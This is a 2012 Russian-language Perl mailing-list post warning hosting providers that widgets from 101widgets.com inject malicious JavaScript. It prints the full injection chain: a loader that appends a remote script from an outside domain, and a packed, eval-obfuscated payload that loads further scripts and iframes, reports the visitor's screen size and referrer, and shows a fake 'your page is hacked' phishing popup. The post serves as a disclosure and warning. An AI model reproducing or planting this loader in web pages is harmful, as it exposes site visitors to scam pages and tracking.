[Moscow.pm] Вирусы :(

Dmitry Simonov dsimonov на gmail.com
Ср Ноя 28 00:55:17 PST 2012


Обращаюсь к тем участниками, которые имеют отношение к хостерам.

Существует ресурс 101widgets.com, который распространяет бесплатно виджеты.
При детальном изучении оказалось, что бесплатный сыр распространяется
вместе с мышеловкой. Рекомендую в принудительном порядке заблокировать
вставку скриптов с этого ресурса, а чудесному РосКомНадзору запретить
доступ к вредоносу на уровне провайдеров.

Детали:

Вместе с виджетами вставляется вызов вот такого скрипта:
http://sql.101widgets.com/swfobj2.js

Он в свою очередь вызывает скрипт с домена alabama.101widgets.com, имеющий
вот такой вид:
   (function(w) {
     var script = document.createElement('script');
     var i = setInterval(function() {
       if (typeof w.document.body !== 'undefined') {
           script.src = 'http://sql.traff-polymorphic.info' +
'/?719288=zIXMyp7a1Nfb09Hcy4WKiIg';
           w.document.body.appendChild(script);
           clearInterval(i);
       }
     }, 200);
})(window);

А этот скрипт в свою очередь обращается к скрипту с домена
sql.traff-polymorphic.info, отдающий вот такой код:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return
p}('2g.b$0=2g.b$0||{1i:[]};b$0.1j=h(2S){b$0.1i$0=h(f){f=b$0.1h(f);b$0.f=b$0.f||{};e(1A
b$0.f.D!==\'1w\'){b$0.f.D=b$0.f.D.3b(f.D)}v{b$0.f=f}e(b$0.f.2c){d
a=o.1d(\'2Z\');a.2R(\'N\',b$0.f.2c);a.1H.1I=\'s:1C; w:1C; 2L:3h;
3f:3g;\';o.1L(\'1b\')[0].1e(a)}O(d i=0,l=b$0.f.D.t;i<l;i+=1){d
1o=b$0.b.2a[b$0.f.D[i].3l];e(1o){b$0.1j.3p.1t(b$0.b.1V+1o)}}d i=3o(h(){e(1A
b$0.1y!=="1w"){1P b$0.1y();1z(i)}},3n);3m(h(){1z(i)},3q)};b$0.1h=h(k){m
2q(\'(\'+b$0.1S(k)+\')\')};b$0.1x=h(A){d
V=[],z=0,t=A.t,c,Y,1q;1X(z<t){c=A[z];Y=A[z+1];1q=A[z+2];e(M>c){V.J(p.q(c));z+=1}v
e(2k<c&&c<1D){V.J(p.q(((c&31)<<6)|(Y&x)));z+=2}v{V.J(p.q(((c&15)<<12)|((Y&x)<<6)|(1q&x)));z+=3}}m
V.2j(\'\')};b$0.1E=h(U){U=U.1c(/\\r\\n/g,"\\n");d y="";O(d n=0;n<U.t;n++){d
c=U.G(n);e(c<M){y+=p.q(c)}v
e((c>2l)&&(c<2i)){y+=p.q((c>>6)|2h);y+=p.q((c&x)|M)}v{y+=p.q((c>>12)|1D);y+=p.q(((c>>6)&x)|M);y+=p.q((c&x)|M)}}m
y};b$0.H=\'2x-b\';b$0.1F=\'=\';b$0.1Z=h(k,r){d 1a="",1v="";d
Z,T,R,1n,1s,W,K;d i=0;r&=2w;k=b$0.1E(k);O(d
j=0;j<k.t;1v+=p.q(r^k.G(j)),j++){}k=1v;1X(i<k.t){Z=k.G(i++);T=k.G(i++);R=k.G(i++);1n=Z>>2;1s=((Z&3)<<4)|(T>>4);W=((T&15)<<2)|(R>>6);K=R&x;e(1U(T)){W=K=1J}v
e(1U(R)){K=1J}1a=1a+b$0.H.P(1n)+b$0.H.P(1s)+b$0.H.P(W)+b$0.H.P(K)}m
1a};b$0.1m=h(1f){e(b$0.2C){m 1f}d r=(+1P
2r())%2t;m"/?"+r+"="+b$0.1Z(1f.1c("/?",""),r)};b$0.1S=h(f){f=f.1c(/[\\-]/g,"+").1c(/[b]/g,"/");d
1B=[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,2s,-1,-1,-1,x,2n,2o,2p,2u,2v,2A,2B,2z,2m,2y,-1,-1,-1,0,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,3i,3j,3r,3w,3y,3z,3A,3B,3t,3u,3v,3C,-1,-1,-1,-1,-1];d
X,Q,B=0,A=[],F=0,S=0;O(B=0;B<f.t;B++){Q=f.G(B);X=1B[Q&3s];e(-1===X){3x.3e("3d
2D (Q="+Q+") 2M 1O
"+B)}v{S=(S<<6)|X;F+=6;e(F>=8){F-=8;e(b$0.1F!==f.P(B)){A.J((S>>F)&2N)}S&=(1<<F)-1}}}m
b$0.1x(A)};e(2O.2P){m E.1Y.2K(E,2J)}};b$0.1j.2F={1Y:h(){E.1G();d
1g=o.1d(\'C\');d
u=b$0.b.I.2e();1g.N=b$0.b.2E+b$0.1m(u+E.1T(u)+E.1R());o.1b.1e(1g);E.1t(b$0.b.1V+b$0.b.2a[\'2G\'])},1G:h(){d
c=b$0.1h(b$0.1i.2e());e(b$0.b){b$0.b.I.J(c.I)}v{b$0.b=c;b$0.b.I=[b$0.b.I]}e(b$0.b.2d&&b$0.b.1W){d
L=o.1d(\'L\');L.N=b$0.b.2d+b$0.1m(b$0.b.1W);L.1H.1I="s:1Q;w:1Q;1O:2H;2I:-2Q;";o.1b.1e(L)}},1t:h(1r){d
1k=o.1L(\'C\'),1u=0;O(d
i=0,l=1k.t;i<l;i+=1){e(1k[i].N==1r){1u++;3a}}e(1u==0){d
C=o.1d(\'C\');C.N=1r;o.1b.1e(C)}},1R:h(){d
w=0,s=0;e(1N.1l){s=1l.s;w=1l.w}v{e(1N.1M){d 1K=1M.3c.2Y.2X();d
1p=1K.2T();s=1p.s;w=1p.w}}m\'&s=\'+s+\'&w=\'+w},1T:h(u){e(o.2b&&u.2U(\'&2f=\')==-1){m\'&2f=\'+2V(o.2b)}m\'\'},2W:h(){m
3k}};',62,225,'|||||||||||_||var|if|data||function|||input||return||document|String|fromCharCode||width|length||else|height|63|utftext|offset|bytes|idx|script|ads|this|leftbits|charCodeAt|chrTable|rtUri|push|enc4|img|128|src|for|charAt|code|chr3|leftdata|chr2|string|chars|enc3|value|c2|chr1|||||||||||output|body|replace|createElement|appendChild|uri|json|unescpe|__|Loader|scripts|screen|toescapeduri|enc1|fName|scrsize|c3|url|enc2|load|count|out|undefined|utf8Decode|Common|clearInterval|typeof|binTable|0px|224|utf8Encode|pad|applyParams|style|cssText|64|jkit|getElementsByTagName|java|self|position|new|1px|_getResolution|unescped|_getReferer|isNaN|scriptsDomain|ukUri|while|init|toescaped|||||||||||versions|referrer|frameUrl|ukDomain|pop|ref|window|192|2048|join|191|127|60|52|53|54|eval|Date|62|1000000|55|56|255|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|61|59|57|58|preview|characters|rotatorDomain|prototype|common|absolute|left|arguments|call|overflow|in|0xFF|navigator|cookieEnabled|10000px|setAttribute|obj|getScreenSize|indexOf|encodeURIComponent|_findRival|getDefaultToolkit|Toolkit|iframe|||||||||||break|concat|awt|Illegal|log|border|none|hidden|40|41|false|format|setTimeout|100|setInterval|instance|2000|42|0x7F|48|49|50|43|console|44|45|46|47|51'.split('|'),0,{}))
_$0.__.push('eyJ2ZXJzaW9ucyI6eyJtcm90IjoiMTM1NDA5MTIyNDg2MCIsImRpcmVjdCI6IjEzNTQwOTEyMjQ4NjAiLCJzY3IiOiIxLzIyLmpzPzE2Iiwicm90IjoiMS8zLmpzPzE2IiwidGwiOiIxLzEyLmpzPzE2IiwiY29tbW9uIjoiMS8xLmpzPzE2IiwibXBwdW5kIjoiMTM1NDA5MTIyNDg2MCIsImFzIjoiMS8yLmpzPzE2IiwiaWNxIjoiMTM1NDA5MTIyNDg2MCIsImJyIjoiMS8xMS5qcz8xNiIsInZrbSI6IjEvMjEuanM_MTYiLCJ0c3IiOiIxLzE4LmpzPzE2IiwicGQiOiIxMzU0MDkxMjI0ODYwIiwicHB1bmQiOiIxMzU0MDkxMjI0ODYwIiwic2dtIjoiMTM1NDA5MTIyNDg2MCIsInBpbiI6IjEvMjMuanM_MTYiLCJqc2ZyIjoiMTM1NDA5MTIyNDg2MCIsInBvcHVwIjoiMS80LmpzPzE2IiwibWRpcmVjdCI6IjEzNTQwOTEyMjQ4NjAiLCJmciI6IjEzNTQwOTEyMjQ4NjAiLCJ3YmwiOiIxMzU0MDkxMjI0ODYwIiwiZW0iOiIxMzU0MDkxMjI0ODYwIiwiY2YiOiIxLzE1LmpzPzE2In0sInNjcmlwdHNEb21haW4iOiJodHRwOi8vc3FsLnRyYWZmLXBvbHltb3JwaGljLmluZm8vanMvIiwicnRVcmkiOiIvP3Q9cnJ0JmJsb2NraWRzPTIwMCZ0cnNLZXk9NzE5Mjg4JnVpZD02NDA0NzVjMC0zOTM1LTExZTItOGU3Mi0wMDI1OTA2OGE5MmQiLCJ1a0RvbWFpbiI6bnVsbCwidWtVcmkiOm51bGwsInJvdGF0b3JEb21haW4iOiJodHRwOi8vc3FsLnRyYWZmLXBvbHltb3JwaGljLmluZm8iLCJpbWdEb21haW4iOiJodHRwOi8vczMtZXUtd2VzdC0xLmFtYXpvbmF3cy5jb20vZGV1bXZ0b3IyNyIsInRyc0tleSI6IjcxOTI4OCJ9');eval(function(p,a,c,k,e,d){e=function(c){return
c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2$0.1.3=4
2$0.1();',5,5,'|Loader|_|instance|new'.split('|'),0,{}))

Визуально это выглядит в виде таблички в левом нижнем углу с надписью
"новое сообщение! Одноклассники: Ваша страница взломана! нажмите здесь,
чтобы не утратить доступ НАВСЕГДА!"

Причём логика показывания скрипта не тривиальна: на одних машинках
показывается, на других - нет.

Обращаю внимание, что домен traff-polymorphic.info зареган на днях:
Created On:27-Nov-2012 14:11:22 UTC
Last Updated On:27-Nov-2012 14:11:24 UTC
Expiration Date:27-Nov-2013 14:11:22 UTC

То есть скорее всего является переменным. Будьте осторожны.


---
Dmitriy V. Simonov,
Perl & Python programmer
----------- следущая часть -----------
Вложение в формате HTML было извлечено…
URL: <http://mail.pm.org/pipermail/moscow-pm/attachments/20121128/a7dbad99/attachment.html>


Подробная информация о списке рассылки Moscow-pm